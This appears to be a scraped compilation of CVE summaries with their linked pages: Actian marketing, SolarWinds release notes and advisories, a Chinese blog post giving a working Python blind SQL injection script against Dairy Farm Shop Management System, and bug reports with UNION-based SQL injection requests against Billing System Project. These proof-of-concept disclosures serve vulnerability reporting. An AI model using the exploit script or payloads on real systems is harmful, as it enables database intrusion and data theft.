Insecure direct object references (IDOR) vulnerability in ExpressTech Quiz And Survey Master plugin <= 7.3.4 at WordPress allows attackers to change the content of the quiz.

CVE-2021-36865: Quiz And Survey Master – Best Quiz, Exam and Survey Plugin for WordPress

If folder security is misconfigured for Actian Zen PSQL BEFORE Patch Update 1 for Zen 15 SP1 (v15.11.005), Patch Update 4 for Zen 15 (v15.01.017), or Patch Update 5 for Zen 14 SP2 (v14.21.022), it can allow an attacker (with file read/write access) to remove specific security files in order to reset the master password and gain access to the database.

**Committed to Your Success**

A Comprehensive Portfolio of Support, Services, and Education

**Actian Methodology™**

**Activate Your Data**

Actian offers our customers a comprehensive range of customer support and service offerings in local geographies and languages. We have a highly-experienced team of support and service engineers providing a broad spectrum of services.

“By using Actian EMA+ during the upgrade, we were able to monitor the whole environment and identify and resolve issues with performance, stability, housekeeping, or DR processes as soon as they occurred.”

**Rob Andrews**, Upgrade Project Manager, The University of the West of England

Actian Support Services provides tools, searchable documentation, and technical resources to help you plan, deploy and manage your Actian solutions.

*   Reliable technical expertise, guidance, and knowledge are available 24×7.
*   Proactive tools, technical articles, and verified solutions are available to help you quickly find the answers you need.
*   Actian Security Center with security alerts and fixes.

Visit Support Services

“Actian specializes in managing, connecting and analyzing data so you can focus on changing your customer challenges into successes, especially in hybrid environments.”

**Pamela Fowler**, SVP,  Professional and Support Services

**Operational Services**

The cornerstone of Actian’s proactive support options, an Operational Service provides access to an expert and dedicated team, led by a Technical Account Lead, to deliver:

*   Enhanced operational reliability for your mission-critical systems
*   Best-practice advice and guidance for using Actian software
*   Hands-on remote database administration (option)
*   A full managed service (option)

Learn More

“We knew we had to upgrade our database in order to benefit from encryption and make sure our online website offering was fully compliant. Actian Services was on hand to help us upgrade our database with minimum disruption. They ensured a smooth transition to the new database platform.”

**Dennis Joseph**, Computer Services Manager, HSS Hire

Read the Case Study

**Consulting Services**

*   Implementations and upgrades
*   Development and performance tuning
*   Project management

Learn More

“As a national meteorological service, Met Éireann is a 24/7, 365 day-per-year operation. Our users and customers depend on us to provide accurate and timely weather and climatological information. Disruption to services is not an option. Actian Professional Services provided us with the specialised expertise necessary to deliver an effective solution for upgrading our database and improving performance without compromising service to our customers.”

**Conor Lally**, Meteorologist, Observations Division, Met Éireann

Read the Case Study

**Actian Academy**

The Actian Academy is an on-demand learning platform that lets you transform your learning journey and become more proficient with Actian Technologies. Our on-demand platform houses product courses that cover all Actian products and tools.  The course curriculum targets the needs of system administrators and developers for Actian Solutions, including our Hybrid Cloud Data Warehouse, Enterprise Data Integration, Edge Data Management, and Transactional Databases.

The Actian Academy features videos, topic overviews, reference materials, hands-on tasks, and real-life scenarios that will—in just a few days—increase your productivity with our solutions and prepare you to embrace new technology standards.

Learn More

**Security Center**

Information security is of utmost priority to Actian. Check for recommended resources to protect your data from security vulnerabilities, and report or learn about any current incidents, by visiting our Security Center

Learn More

BlogAsset 1PRDatasheetDatasheetAsset 1DownloadForumGuideLinkWebinarPRPresentationRoad MapVideo

CVE-2022-40756: Professional and Support Services

Dairy Farm Shop Management System 1.0 is vulnerable to SQL Injection via sales-report-ds.php file.

**1.首先可以在源码中看到sales-report-ds.php文件中的'$cname'存在注入的可能，再根据后面的if-else语句进行判断得知该变量能拼接恶意代码，可以进行盲注。**

  

**2.漏洞验证代码如下：**

    import requests
    import time
     
    url = "http://localhost/DFScms/dfsms/sales-report-ds.php"
    flag = ''
     
     
    def payload(i, j):
        startTime=time.time()
        # 数据库名字
        sql = "companyname=-1'and if(ascii(substr(database(),%d,1))>%d,sleep(3),-1)and'1=1&submit="%(i,j)
        # 表名
        #sql = "id = if(ascii(substr((select group_concat(table_name) from information_schema.columns where table_schema=database()),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
        # 列名
        #sql = "id = if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
        # 查询flag
        #sql = "id = if(ascii(substr((select password from users),%d,1))>%d,sleep(5),-1)%%23"%(i,j)
    
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "Cookie": "PHPSESSID=iv4ujtg89cbg68hdmaqb4bbkl7"
        }
    
        r = requests.post(url=url, headers=headers, data=sql, timeout=15, verify=False)
        # print (r.url)
        if time.time()-startTime>2:
            res = 1
        else:
            res = 0
        return res
     
     
    def exp():
        global flag
        for i in range(1, 200):
            low = 31
            high = 127
            while low <= high:
                mid = (low + high) // 2
                res = payload(i, mid)
                if res:
                    low = mid + 1
                else:
                    high = mid - 1
            f = int((low + high + 1)) // 2
            if (f == 127 or f == 31):
                break
            # print (f)
            flag += chr(f)
            print(flag)
     
    
    exp()
    

**3.运行poc，下图爆出了数据库名**

 最后一次更新于2022-09-29

CVE-2022-40944: Dairy Farm Shop Management System中的sales-report-ds.php存在sql注入 - 在谷底也要开花

Insufficient sanitization of inputs in QoE application input field could lead to stored and Dom based XSS attack. This issue is fixed and released in SolarWinds Platform (2022.3.0).



*   Observability
    *   Explore the Platform
    *   SolarWinds Observability
    *   Hybrid Cloud Observability
    *   or View All Observability Products
*   Network Management
    *   Hybrid Cloud Observability
    *   Network Configuration Manager
    *   Kiwi Syslog Server
    *   Network Performance Monitor
    *   Netflow Traffic Analyzer
    *   Network Topology Manager
    *   or View All Network Management Products
*   Systems Management
    *   Hybrid Cloud Observability
    *   Virtualization Manager
    *   Web Performance Monitor
    *   Server & Application Monitor
    *   Storage Resource Monitor
    *   Server Configuration Monitor
    *   or View All Systems Management Products
*   Database Management
    *   Database Performance Analyzer
    *   SQL Sentry
    *   Database Insights for SQL Server
    *   Database Performance Monitor
    *   Task Factory
    *   or View All Database Management Products
*   IT Service Management
    *   Service Desk
    *   Web Help Desk
    *   Explore Dameware
    *   Dameware Remote Everywhere
    *   Dameware Remote Support
    *   or View All IT Service Management Products
*   Application Management
    *   SolarWinds Observability
    *   AppOptics
    *   Server & Application Monitor
    *   Pingdom
    *   Loggly
    *   Web Performance Monitor
    *   or View All Application Management Products
*   IT Security
    *   Access Rights Manager
    *   Patch Manager
    *   Serv-U Secured FTP
    *   Server Event Manager
    *   Identity Monitor
    *   Serv-U Managed File Transfer
    *   or View All IT Security Products
*   or View All Products & Free Trials

The SolarWinds Platform is the industry’s only unified monitoring, observability, and service management platform. It’s the foundation for a new generation of SolarWinds observability solutions and provides the architecture on how we solve observability challenges for our customers.

Top Products

*   Explore the Platform
*   SolarWinds Observability

*   Hybrid Cloud Observability

View All Observability Products

Network management tools, from configuration and traffic intelligence to performance monitoring and topology mapping, to readily see, understand, and resolve issues. An integrated, multi-vendor approach that’s easy to use, extend, and scale to keep distributed networks optimized.

Top Products

*   Hybrid Cloud Observability
*   Network Configuration Manager
*   Kiwi Syslog Server

*   Network Performance Monitor
*   Netflow Traffic Analyzer
*   Network Topology Manager

View All Network Management Products

Comprehensive server and application management that’s simple, interoperable, and customizable from systems, IPs, and VMs to containers and services. Optimize resource usage and reduce MTTR with powerful monitoring, discovery, dependency mapping, alerting, reporting, and capacity planning.

Top Products

*   Hybrid Cloud Observability
*   Virtualization Manager
*   Web Performance Monitor

*   Server & Application Monitor
*   Storage Resource Monitor
*   Server Configuration Monitor

View All Systems Management Products

Monitor, analyze, diagnose, and optimize database performance and data ops that drive your business-critical applications. Unify on-premises and cloud database visibility, control, and management with streamlined monitoring, mapping, data lineage, data integration, and tuning across multiple vendors.

Top Products

*   Database Performance Analyzer
*   SQL Sentry
*   Database Insights for SQL Server

*   Database Performance Monitor
*   Task Factory

View All Database Management Products

Modernize your service desk with intelligent and automated ticketing, asset, configuration, and service-level agreement (SLA) management; a knowledge base; and a self-service portal with secure remote assistance. SolarWinds offers an easy-to-use IT service management (ITSM) platform designed to meet your service management needs to maximize productivity while adhering to ITIL best practices.

Top Products

*   Service Desk
*   Web Help Desk
*   Explore Dameware

*   Dameware Remote Everywhere
*   Dameware Remote Support

View All IT Service Management Products

Ensure user experience with unified performance monitoring, tracing, and metrics across applications, clouds, and SaaS. Robust solutions offering rich visualization, synthetic and real user monitoring (RUM), and extensive log management, alerting, and analytics to expedite troubleshooting and reporting.

Top Products

*   SolarWinds Observability
*   AppOptics
*   Server & Application Monitor

*   Pingdom
*   Loggly
*   Web Performance Monitor

View All Application Management Products

Reduce attack surface, manage access, and improve compliance with IT security solutions designed for accelerated time-to-value ranging from security event management, access rights management, identity monitoring, server configuration monitoring and patching, and secure gateway and file transfer.

Top Products

*   Access Rights Manager
*   Patch Manager
*   Serv-U Secured FTP

*   Security Event Manager
*   Identity Monitor
*   Serv-U Managed File Transfer

View All IT Security Products

CVE-2022-36965: SolarWinds Trust Center Security Advisories | CVE-2022-36965

Insufficient sanitization of inputs in QoE application input field could lead to stored and Dom based XSS attack. This issue is fixed and released in SolarWinds Platform (2022.3.0).

Release date: September 28, 2022

These release notes describe the new features, improvements, and fixed issues in SolarWinds Platform 2022.3. They also provide information about upgrades and describe workarounds for known issues.

Learn more

*   For information on latest hotfixes, see SolarWinds Platform Hotfixes.
*   For release notes for previous SolarWinds Platform versions, see Previous Version documentation.
*   For information about requirements, see SolarWinds Platform 2022.3 System Requirements.
*   For information about working with the SolarWinds Platform, see the SolarWinds Platform Administrator Guide.

**New features and improvements in SolarWinds Platform**

Return to top

**Instantly Evaluate Other Products**

Evaluate SolarWinds Platform products and Hybrid Cloud Observability directly from SolarWinds Platform Web Console.

» Learn more

**New security improvements in SolarWinds Platform**

SolarWinds Platform 2022.3 offers new security improvements compared to previous releases of SolarWinds Platform.

*   Service interruptions reported from specific vulnerability scans are now prevented.
*   SHA256/512 support for SNMPv3 polling
*   Removed obsolete libraries referenced in SolarWinds Platform.

**Automatic migration of legacy syslogs and traps**

The legacy syslog and traps functionality has been retired and replaced with new functionality called SolarWinds Platform Log Viewer, which can be upgraded to Log Analyzer for additional capabilities.

Current rules and history will automatically be migrated to the new logging functionality (SolarWinds Platform Log Viewer or Log Analyzer). The functionality of SolarWinds Platform Log Viewer and Log Analyzer has been improved to more closely match legacy functionality. See LA 2022.3 release notes for details.

**New customer installation**

Return to top

For information about installing SolarWinds Platform, see SolarWinds Installer.

**How to upgrade**

Use the SolarWinds Installer to upgrade your entire SolarWinds Platform deployment (all SolarWinds Platform products and any scalability engines) to the current versions.

You must be on Orion Platform 2020.2 or later to upgrade to SolarWinds Platform 2022.3. If you are on Orion Platform 2019.4 or earlier, first upgrade to 2020.2.6 and then upgrade to SolarWinds Platform 2022.3.

**Before you upgrade**

*   Make sure all your legacy reports are migrated. You won't be able to access legacy reports and related tools anymore.
*   After upgrading to SolarWinds Hybrid Cloud Observability from an Orion Platform 2020.2.6 installation, you will need to update your MIB database.
*   Some upgrade situations from the Orion Platform to the SolarWinds Platform are not supported and the installer will stop the upgrade automatically.
    *   If you have a SQL Server older than 2016.
    *   If you have an Orion Platform product version 2019.4 or older.
*   The legacy syslog and traps functionality has been retired and replaced with new functionality called SolarWinds Platform Log Viewer, which can be upgraded to Log Analyzer for additional capabilities. Current rules and history will automatically be migrated to the new logging functionality (SolarWinds Platform Log Viewer or Log Analyzer). The functionality of SolarWinds Platform Log Viewer and Log Analyzer has been improved to more closely match legacy functionality. See LA 2022.3 release notes for details.
    
*   Before updating from Orion Platform 2020.2.6 and earlier to SolarWinds Platform 2022.3, make sure the database user you use to connect the SQL Server hosting your NTA Flow Storage database and Log Analyzer database has the **db create** privilege. Without this privilege, the update will not complete.
    

**Fixed issues**

Return to top

SolarWinds Platform 2022.3 fixes the following issues.

 

Case Number

Description

598596

An IP SLA Packet Loss view performance issue was addressed.

856512

An issue with System.Reactive deadlock after HA failover was addressed.

N/A

An issue where IP addresses for WMI interfaces were not displayed in the Details widget was addressed.

816988, 845983, 903096, 916413, 993175, 1026976

An issue with virtual machine latency and VIM datastore latency was addressed.

869953

An issue where SolarWinds Platform agent couldn't stop polling if unmanaged and remanaged was addressed.

1011473

An issue where alerts were not loading in the Alerts view was addressed.

897304, 1053919

An issue with losing SIDs for accounts was addressed.

870490

An issue where Database Maintenance did not unsubscribe when finished was addressed.

786962, 944247

An issue with SolarWinds Platform agents not responding was addressed.

845580, 861387, 908421

An issue with IP SLA entities on SolarWinds Platform Maps was addressed.

785828, 814974, 1041333, 1041944, 1060860

An issue with the status of groups/maps on SolarWinds Platform Maps was addressed.

741638

An issue with degrading performance of multi-load widgets was addressed.

618469, 785900, 828771, 839335, 895550, 920254, 1017272, 1024005, 1067887, 1076798

An issue where SolarWinds users without an explicitly defined Windows account cannot access SWQL Studio was addressed.

576343, 608927, 741638

An issue where deadlocks on SolarWinds Platform Events require index was addressed.

N/A

The issue with upgrades failing on files locked by Windows services, such as Windows Event Log when you upgrade SolarWinds Platform 2022.2 to SolarWinds Platform 2022.3 RC1 was resolved.

N/A

The issue with upgrades failing on SolarWinds Administration Service issues when upgrading SolarWinds Platform 2022.2 to SolarWinds Platform 2022.3 RC1 was resolved.

N/A

The issue with upgrades failing due to JMX Bridge service issues when you upgrade Additional Web Server for SolarWinds Platform 2022.2 to SolarWinds Platform 2022.3 RC1 was addressed.

N/A

The issue with the list of available objects not loading when you create a group selecting individual objects, save it and then want to add members to the group on SolarWinds Platform 2022.3 RC1 was resolved.

**CVEs**

SolarWinds would like to thank our Security Researchers below for reporting on the issue in a responsible manner and working with our security, product, and engineering teams to fix the vulnerability.

**Third-party CVEs**

    

CVE-ID

Vulnerability Title

Description

Severity

Credit

CVE-2018-1285

Vulnerable log4net versions

Apache log4net versions before 2.0.10 do not disable XML external entities when parsing log4net configuration files. This allows for XXE-based attacks in applications that accept attacker-controlled log4net configuration files.

Medium

N/A

CVE-2020-11022,

CVE-2020-11023

jQuery XSS vulnerability

In jQuery versions before 3.5.0, HTML from untrusted sources to one of jQuery's DOM manipulation methods may execute an untrusted code even after sanitization.

Medium

N/A

CVE-2022-0778

Open SSL vulnerability

The BN_mod_sqrt() function, which computes a modular square root, contains a bug that can cause it to loop forever for non-prime moduli.

High

N/A

**SolarWinds CVEs**

    

CVE-ID

Vulnerability Title

Description

Severity

Credit

CVE-2022-36961

Orion SQL Injection Privilege Escalation

An Orion component is vulnerable to a SQL Injection. An authenticated attacker could leverage this for privilege escalation or remote code execution.

High

N/A

CVE-2022-36965

Stored and DOM XSS attack in QoE applications

Insufficient sanitization of inputs in the QoE application input field could lead to stored and DOM-based XSS attack.

High

Shashank Chaurasia

**Known issues**

Return to top

N/A / Scalability engines are not updatable through centralized upgrade from SolarWinds Platform 2022.3 RC2 to 2022.3 GA

**Issue:** When running a centralized upgrade from SolarWinds Platform 2022.3 RC2 to SolarWinds Platform 2022.3 GA, the upgrade fails with the following message: One or more servers failed to connect or are not updatable.

**Work-around**: Upgrade the main polling engine, and then upgrade scalability engines. You can use the centralized upgrade.

**End of support**

Return to top

This version of SolarWinds Platform no longer supports the following platforms and features.

 

Type

Details

Remote Office Poller (ROP)

As of 2022.3, Remote Office Pollers are no longer sold.

SQL Server 2012 and SQL Server 2014

As of 2022.3, SolarWinds Platform only supports SQL Server 2016 SP1 and later. See SolarWinds Platform 2022.3 System Requirements.

SQL Server Express

As of 2022.3, Express editions of supported SQL Server versions are not supported for production environments. You can use SQL Express only for evaluation purposes.

Syslog Viewer

As of 2022.3, the stand-alone Syslog Viewer is no longer available on the SolarWinds Platform server. Use the Log Viewer in the SolarWinds Platform Web Console.

SNMP Trap Viewer

As of 2022.3, the stand-alone SNMP Trap Viewer is no longer available on the SolarWinds Platform server. Use the Log Viewer in the SolarWinds Platform Web Console.

Legacy Orion Report Writer

Legacy Orion Report Writer and tools related to legacy reports were removed in SolarWinds Platform 2022.2 and are no longer available in 2022.3.

*   Legacy reports are not available anywhere.
*   All tools related to legacy reports, such as Legacy Report Migration Tool or Report Writer Desktop Tool, are removed.
*   Widgets related to legacy reports are removed from the SolarWinds Platform Web Console.

**Deprecation notices**

Return to top

In SolarWinds Platform 2022.3, the following platforms and features are deprecated.

Deprecated platforms and features are still supported in the current release. However, they will be unsupported in a future release. Plan on upgrading deprecated platforms, and avoid using deprecated features. Customizations applied to a deprecated feature might not be migrated if a new feature replaces the deprecated one.

For information about supported versions of SolarWinds products, see Currently supported software versions.

 

Type

Details

Microsoft Windows Server 2012 R2

Windows Server 2012 R2 is deprecated as of this release and will not be supported in a future release.

SolarWinds recommends that you upgrade the operating system of your SolarWinds Platform server to Windows Server 2016 or later. See SolarWinds Platform 2022.3 System Requirements.

**Legal notices**

Return to top

© 2022 SolarWinds Worldwide, LLC. All rights reserved.

This document may not be reproduced by any means nor modified, decompiled, disassembled, published or distributed, in whole or in part, or translated to any electronic medium or other means without the prior written consent of SolarWinds. All right, title, and interest in and to the software, services, and documentation are and shall remain the exclusive property of SolarWinds, its affiliates, and/or its respective licensors.

SOLARWINDS DISCLAIMS ALL WARRANTIES, CONDITIONS, OR OTHER TERMS, EXPRESS OR IMPLIED, STATUTORY OR OTHERWISE, ON THE DOCUMENTATION, INCLUDING WITHOUT LIMITATION NONINFRINGEMENT, ACCURACY, COMPLETENESS, OR USEFULNESS OF ANY INFORMATION CONTAINED HEREIN. IN NO EVENT SHALL SOLARWINDS, ITS SUPPLIERS, NOR ITS LICENSORS BE LIABLE FOR ANY DAMAGES, WHETHER ARISING IN TORT, CONTRACT OR ANY OTHER LEGAL THEORY, EVEN IF SOLARWINDS HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

The SolarWinds, SolarWinds & Design, Orion, and THWACK trademarks are the exclusive property of SolarWinds Worldwide, LLC or its affiliates, are registered with the U.S. Patent and Trademark Office, and may be registered or pending registration in other countries. All other SolarWinds trademarks, service marks, and logos may be common law marks or are registered or pending registration. All other trademarks mentioned herein are used for identification purposes only and are trademarks of (and may be registered trademarks) of their respective companies.

CVE-2022-36965: SolarWinds Platform 2022.3  Release Notes

A verb used in Orion was vulnerable to SQL Injection, an authenticated attacker could leverage this for privilege escalation or remote code execution.

**Summary**

A component of Orion Platform was found to be vulnerable to SQL Injection attacks. An authenticated attacker could leverage this for privilege escalation or remote code execution.

**Affected Products**

*   Orion Platform 2022.2 and earlier

**Fixed Software Release**

*   SolarWinds Platform 2022.3

CVE-2022-36961: SolarWinds Trust Center Security Advisories | CVE-2022-36961

Joplin version 2.8.8 allows an external attacker to execute arbitrary commands remotely on any client that opens a link in a malicious markdown file, via Joplin. This is possible because the application does not properly validate the schema/protocol of existing links in the markdown file before passing them to the 'shell.openExternal' function.

CVE-2022-40277: GitHub - laurent22/joplin: Joplin - an open source note taking and to-do application with synchronisation capabilities for Windows, macOS, Linux, Android and iOS.

A limited SQL injection risk was identified in the "browse list of users" site administration page.

CVE-2022-40315

Billing System Project v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /phpinventory/editcategory.php.

Permalink

Cannot retrieve contributors at this time

**Billing System Project v1.0 by mayuri\_k has SQL injection**

BUG\_Author: Mogui Dong

Login account: mayurik/rootadmin (Super Admin account)

vendors: https://www.sourcecodester.com/php/14831/billing-system-project-php-source-code-free-download.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /phpinventory/editcategory.php?id=

Vulnerability location: /phpinventory/editcategory.php?id=, id

dbname = store1,length=6

\[+\] Payload: /phpinventory/editcategory.php?id=-1%27%20union%20select%201,database(),3,4--+ // Leak place ---> id

GET /phpinventory/editcategory.php?id\=\-1%27%20union%20select%201,database(),3,4\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2
Connection: close

CVE-2022-41440: bug_report/SQLi-1.md at main · chi645190147/bug_report

Billing System Project v1.0 was discovered to contain a SQL injection vulnerability via the id parameter at /phpinventory/edituser.php.

Permalink

**Billing System Project v1.0 by mayuri\_k has SQL injection**

BUG\_Author: Mogui Dong

Login account: mayurik/rootadmin (Super Admin account)

vendors: https://www.sourcecodester.com/php/14831/billing-system-project-php-source-code-free-download.html

The program is built using the xmapp-php8.1 version

Vulnerability File: /phpinventory/edituser.php?id=

Vulnerability location: /phpinventory/edituser.php?id=, id

dbname = store1,length=6

\[+\] Payload: /phpinventory/edituser.php?id=-1%27%20union%20select%201,database(),3,4--+ // Leak place ---> id

GET /phpinventory/edituser.php?id\=\-1%27%20union%20select%201,database(),3,4\--\+ HTTP/1.1
Host: 192.168.1.88
User\-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,\*/\*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=5g4g4dffu1bkrg9jm7nr42ori2
Connection: close

Tag

#sql